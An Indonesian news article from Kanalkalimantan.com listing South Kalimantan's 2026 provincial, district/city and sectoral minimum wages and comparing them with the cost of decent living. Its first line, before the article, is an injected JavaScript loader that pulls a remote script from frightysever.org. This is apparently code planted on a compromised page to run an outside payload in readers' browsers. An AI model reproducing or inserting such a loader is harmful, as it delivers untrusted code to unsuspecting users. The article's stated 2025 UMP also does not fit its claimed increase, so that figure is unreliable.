(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Sumber: Ahsanjaya (Pexels)
Upah Minimum Provinsi (UMP) dan Upah Minimum Kabupaten/Kota (UMK) Kalimantan Selatan 2026 akhirnya secara resmi telah disahkan oleh Gubernur Muhidin. Ketetapan upah minimum tersebut mulai berlaku mulai tanggal 1 Januari 2026 untuk pekerja atau buruh dengan masa kerja kurang dari satu tahun.
Berikut adalah daftar UMP dan UMK Kalimantan Selatan 2026 lengkap dengan Upah Minimum Sektoral Kabupaten/Kota (UMSK). Apakah cukup untuk biaya hidup layak di Kalimantan Selatan?
UMP adalah standar minimum upah yang berlaku pada tingkat provinsi. Penetapan UMP 2026 dilakukan oleh gubernur berdasarkan Pasal 27 Ayat (1) Peraturan Pemerintah Nomor 49 Tahun 2025 atas perubahan PP Nomor 36 Tahun 2021.
Pada kebijakan tersebut, formula baru diperkenalkan untuk menghitung UMP 2026. Formula tersebut berupa Inflasi + (Pertumbuhan Ekonomi x Alfa) dengan rentang Alfa 0,5–0,9. Alfa merupakan indeks tertentu yang menggambarkan kontribusi pekerja bagi ekonomi.
Setiap provinsi memiliki besaran UMP berbeda-beda. Hal ini dipengaruhi oleh perbedaan sumber daya, adat-istiadat, kebudayaan, struktur ekonomi, dan kinerja.
UMP dulunya dikenal sebagai Upah Minimum Regional (UMR) yang akhirnya istilah UMR diganti menjadi UMP dan UMK.
Sementara UMK adalah upah minimum yang berlaku di wilayah tingkat II, yaitu kabupaten dan kota. Gubernur juga memiliki hak untuk menetapkan UMK sebagai standar pengupahan yang direkomendasikan oleh bupati/wali kota. Pada umumnya, UMK lebih tinggi dibandingkan UMP dengan kebutuhan dan kesejahteraan hidup.
Pada Rabu (24/12/2025) Gubernur Kalimantan Selatan, Muhidin, secara resmi telah menetapkan besaran UMP Kalimantan Selatan 2026 sebesar Rp3.725.000 per bulan. Meningkat sebanyak 6,54 persen atau Rp228.000 dari UMP 2025 yang sebesar Rp3.596.150 per bulan.
Angka tersebut menjadi standar minimal upah yang diberikan perusahaan di area Kalimantan Selatan kepada pekerja atau buruh dengan masa kerja kurang dari satu tahun. Ketetapan ini berdasarkan dari inflasi, pertumbuhan ekonomi, dan kebutuhan layak hidup regional.
Upah Minimum Kabupaten/kota telah disetujui dan ditandatangani gubernur melalui Surat Keputusan Gubernur Kalimantan Selatan Nomor 100.3.3.1/01107/KUM/2025 tentang Penetapan Upah Minimum Kabupaten/Kota dan Upah Minimum Sektoral Kabupaten/Kota di Daerah Provinsi Kalimantan Selatan 2026.
Adapun UMK 2026 masing-masing daerah di Kalimantan Selatan, ini daftarnya.
| Kota/Kabupaten | UMK 2025 | UMK 2026 | Kenaikan |
| Kota Banjarmasin | Rp3.599.182 | Rp3.855.894 | 7,13% |
| Kota Banjarbaru | Rp3.496.195 | Rp3.843.037 | 9,92% |
| Kabupaten Tanah Bumbu | Rp3.500.163 | Rp3.736.000 | 6,74% |
| Kabupaten Kotabaru | Rp3.643.004 | Rp3.904.645 | 7,18% |
| Kabupaten Tabalong | Rp3.592.197 | Rp3.827.935 | 6,56% |
| Kabupaten Hulu Sungai Selatan | Rp3.496.195 | Rp3.725.000 | 6,54% |
| Kabupaten Tapin | Rp3.496.195 | Rp3.725.000 | 6,54% |
| Kabupaten Banjar | Rp3.496.195 | Rp3.725.000 | 6,54% |
| Kabupaten Barito Kuala | Rp3.496.195 | Rp3.725.000 | 6,54% |
| Kabupaten Tanah Laut | Rp3.496.195 | Rp3.725.000 | 6,54% |
| Kabupaten Balangan | Rp3.496.195 | Rp3.725.000 | 6,54% |
| Kabupaten Hulu Sungai Tengah | Rp3.496.195 | Rp3.725.000 | 6,54% |
| Kabupaten Hulu Sungai Utara | Rp3.496.195 | Rp3.725.000 | 6,54% |
UMK 2026 tertinggi dipegang oleh Kabupaten Kotabaru sebesar Rp3.904.645 per bulan. Sementara yang terendah terdapat di beberapa daerah yang besarannya mengikuti UMP Kalimantan Selatan 2026.
Upah Minimum Sektoral Kabupaten/Kota Kalimantan Selatan tahun 2026 juga telah ditetapkan. UMSK adalah upah minimum yang diberlakukan pada sektor tertentu pada wilayah kabupaten/kota tertentu. Upah minimum ini ditetapkan dengan pertimbangan kondisi kerja dan risiko yang lebih tinggi.
Masing-masing kabupaten/kota memiliki sektor dan besaran UMSK yang berbeda. Ini rinciannya.
UMSK Banjarmasin 2026 memiliki tiga sektor yang berbeda, yaitu sektor perbankan, perhotelan (bintang 4 ke atas), dan perkayuan.
| Sektor | UMSK 2026 |
| Sektor Perbankan | Rp3.867.143,00 |
| Sektor Perhotelan (Bintang 4 ke Atas) | Rp3.860.180,00 |
| Sektor Perkayuan | Rp3.858.573,00 |
UMSK Tanah Bumbu 2026 terdiri dari sektor perkebunan buah kelapa sawit dan industri minyak mentah kelapa sawit.
| Sektor | UMSK 2026 |
| Sektor Perkebunan Buah Kelapa Sawit (KBLI 01262) | Rp3.740.000,00 |
| Sektor Industri Minyak Kelapa Sawit CPO (KBLI 10431) | Rp3.740.000,00 |
UMSK Kotabaru 2026 terdiri dari sektor pertambangan batu bara, perkebunan kelapa sawit, dan industri minyak kelapa sawit.
| Sektor | UMSK 2026 |
| Sektor Pertambangan Batu Bara (KBLI 05100) | Rp3.949.645,00 |
| Sektor Perkebunan Kelapa Sawit (KBLI 01262) | Rp3.907.645,00 |
| Sektor Industri Minyak Mentah/Murni Kelapa Sawit (Crude Palm Oil) dan Minyak Goreng Kelapa Sawit (KBLI 1043) | Rp3.907.645,00 |
UMK Tabalong 2026 ditetapkan untuk sektor penunjang pertambangan dan penggalian lain-lain.
| Sektor | UMSK 2026 |
| Sektor Aktivitas Penunjang Pertambangan dan Penggalian Lainnya (KBLI 09900) | Rp3.854.176,42 |
Perhitungan UMP Kalimantan Selatan 2026 telah disesuaikan dengan PP Nomor 49 Tahun 2025 tentang Perubahan Kedua atas PP Nomor 36 Tahun 2021 tentang Pengupahan.
Hasil yang ditetapkan oleh gubernur merupakan hasil rekomendasi dari Dewan Pengupahan Provinsi Kalimantan Selatan yang sebelumnya telah mencapai mufakat pada musyawarah. UMP ditetapkan berdasarkan pertimbangan inflasi, pertumbuhan ekonomi, dan kebutuhan layak hidup daerah.
Penetapan UMP 2026 Kalimantan Selatan diharapkan mampu menjaga keseimbangan antara perlindungan pekerja dengan keberlanjutan dunia usaha, sekaligus memperkuat fondasi ekonomi daerah.
Mengukur seberapa layaknya UMP Kalimantan Selatan 2026 berdasarkan pada ukuran besaran Kebutuhan Layak Hidup (KHL) di provinsi tersebut. KHL ini juga menjadi patokan dalam menentukan arah kebijakan UMP.
Pada perhitungan UMP 2026, KHL juga menjadi patokan yang prosesnya menggunakan metode standar International Labour Organization (ILO).
KHL disusun empat komponen utama dalam konsumsi rumah tangga, yaitu kebutuhan makanan, kesehatan dan pendidikan, kebutuhan pokok lainnya, dan perumahan atau tempat tinggal. Perhitungan KHL menggunakan formula konsumsi per kapita dikalikan jumlah anggota rumah tangga dan dibagi jumlah anggota rumah tangga yang bekerja.
Dilansir dari akun Instagram @kemnaker, KHL Kalimantan Selatan mencapai Rp4.112.552. Angka ini lebih tinggi dibandingkan UMP 2026 Kalimantan Selatan sebesar Rp3.725.000 per bulan.
Hal ini menunjukkan adanya kesenjangan antara pendapatan para pekerja per bulan dan kebutuhan hidup. Sebagian pekerja kemungkinan tidak dapat membiayai hidup sehari-hari dengan optimal.
Perlu diingat bahwa angka tersebut hanya perkiraan sehingga kebutuhan hidup setiap orang akan berbeda-beda. (Kanalkalimantan.com/kk)
KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More
KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More
Pemerintah Provinsi Kalimantan Barat secara resmi telah menetapkan besaran Upah Minimum Provinsi (UMP) dan Upah… Read More
Pemerintah Pusat telah merilis formula perhitungan UMP 2026 sejak 18 Desember 2025. Adapun tenggat waktu… Read More
KANALKALIMANTAN.COM, MARTAPURA - Selain menyerahkan langsung bantuan keperluan masyarakat terdampak banjir Pemerintah Kabupaten Banjar juga… Read More
KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More
This website uses cookies.